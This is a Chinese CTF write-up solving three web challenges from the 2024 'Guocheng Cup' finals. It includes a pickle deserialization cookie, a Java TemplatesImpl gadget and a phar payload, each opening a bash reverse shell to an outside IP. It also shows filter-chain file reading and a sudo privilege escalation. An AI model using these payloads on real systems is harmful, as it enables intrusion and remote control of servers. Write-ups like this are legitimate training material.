【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)
最近在忙联通的安全准入测试，很少有时间看CTF了，今晚抽点时间回顾下上周线下的题(期末还没开始复习😢)
感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞，没啥惊喜感，还是CTF有意思
目录
Mountain
ez_zhuawa
图片信息查看器
Mountain
扫目录
访问./display看到
提示是photo参数，/display?photo=Mountain1.png访问到图片
可以任意读文件
没法直接读环境变量
抓包看响应头，是python题
一般就去读当前运行文件
/display?photo=/proc/1/cmdline
/display?photo=/appppp/app.py
from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import remessages = []@route("/")
def home():return template("index")@route("/hello")
def hello_world():try:session = request.get_cookie("name", secret=Mountain)if not session or session["name"] == "guest":session = {"name": "guest"}response.set_cookie("name", session, secret=Mountain)return template("guest", name=session["name"]) if session["name"] == "admin" else Noneexcept:return "hacker!!! I've caught you"@route("/display")
def get_image():photo = request.query.get('photo')if photo is None:return template('display')if re.search("^../|environ|self", photo):return "Hacker!!! I'll catch you no matter what you do!!!"requested_path = os.path.join(os.getcwd(), "picture", photo)try:if photo.endswith('.png'):default_png_path = "/appppp/picture/"pngrequested_path = default_png_path + photowith open(pngrequested_path, 'rb') as f:tfile = f.read()response.content_type = 'image/png'else:with open(requested_path) as f:tfile = f.read()except Exception as e:return "you have some errors, continue to try again"return tfile@route("/admin")
def admin():session = request.get_cookie("name", secret=Mountain)if session and session["name"] == "admin":return template("administator", messages=messages)else:return "No permission!!!!"if __name__ == "__main__":os.chdir(os.path.dirname(__file__))run(host="0.0.0.0", port=8089)接着访问./hello
给了一段Cookie，可以看到?后面的特征很像pickle序列化数据
审计代码发现可以打pickle反序列化
先去访问/display?photo=/appppp/config/D0g3_GC.py拿到secretkey
拿恶意cookie的最简单方式就是自己起一个服务
from bottle import Bottle, route, run, template, request, response
import osMountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Test:def __reduce__(self):return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"')""",))@route("/hello")
def hello_world():try:session = {"name": Test()}response.set_cookie("name", session, secret=Mountain)return "ok"except:return "hacker!!! I've caught you"if __name__ == "__main__":os.chdir(os.path.dirname(__file__))run(host="0.0.0.0", port=8089)然后访问，拿到恶意cookie
替换后访问靶机的./admin，成功反弹shell拿flag
ez_zhuawa
题目入口，先是将data反序列化，然后使用SPeL解析并执行param表达式，表达式可以从反序列化对象中获取值(即调getter方法)
众所周知TemplatesImpl的利用链如下，直接实例化TP然后调用它的getOutputProperties方法即可
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()而题目ban了一堆东西，就是没ban TP
Evil.java
package org.example.GCCTF.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class Exp {public static void main(String[] args) throws Exception {byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();byte[][] codes={code};TemplatesImpl templates=new TemplatesImpl();setFieldValue(templates,"_name","aaa");setFieldValue(templates,"_class",null);setFieldValue(templates,"_bytecodes",codes);byte[] result=serialize(templates);System.out.println(Base64.getEncoder().encodeToString(result));}public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);return byteArrayOutputStream.toByteArray();}public static void setFieldValue(Object obj, String field, Object val) throws Exception {Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}Exp.java
package org.example.GCCTF.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers)throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {}static {try {Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4yNS4xNTEuOTgvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");} catch (IOException e) {throw new RuntimeException(e);}}
}最后param传OutputProperties即可调用反序列化后的对象的getOutputProperties方法
环境变量读到flag
图片信息查看器
提示有hI3t.php
进来是一个文件上传功能和文件查询功能，一眼phar反序列化
上传图片再读取文件信息
不难想到调用了getimagesize(不想到也行，总之与文件处理相关的函数都与filterchian leak沾边)
PHP Filter链——基于oracle的文件读取攻击 - 先知社区
打filterchain读文件
用下面这个工具
https://github.com/synacktiv/php_filter_chains_oracle_exploit
python filters_chain_oracle_exploit.py --target http://125.70.243.22:31269/chal13nge.php --file '/var/www/html/hI3t.php' --parameter image_path 
访问./x@1.php，发现存在一个后门类
生成恶意phar包
<?phpclass backdoor
{public $cmd;function __destruct(){$cmd = $this->cmd;system($cmd);}
}$a=new backdoor();
$a->cmd='bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"';
$phar = new Phar("gcb.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();将生成的gcb.phar改为gcb.png上传，读取
phar://uploads/gcb.png
成功弹上shell
权限不够需要提权
发现存在/tmp/rootscripts/check.sh的sudo权限
查看 /tmp/rootscripts/check.sh，发现可以任意run.sh脚本执行
写恶意sh文件
echo "cat /root/flag" > /tmp/run.sh
chmod 777 /tmp/run.sh再sudo执行，拿到flag
sudo /tmp/rootscripts/check.sh "/tmp" 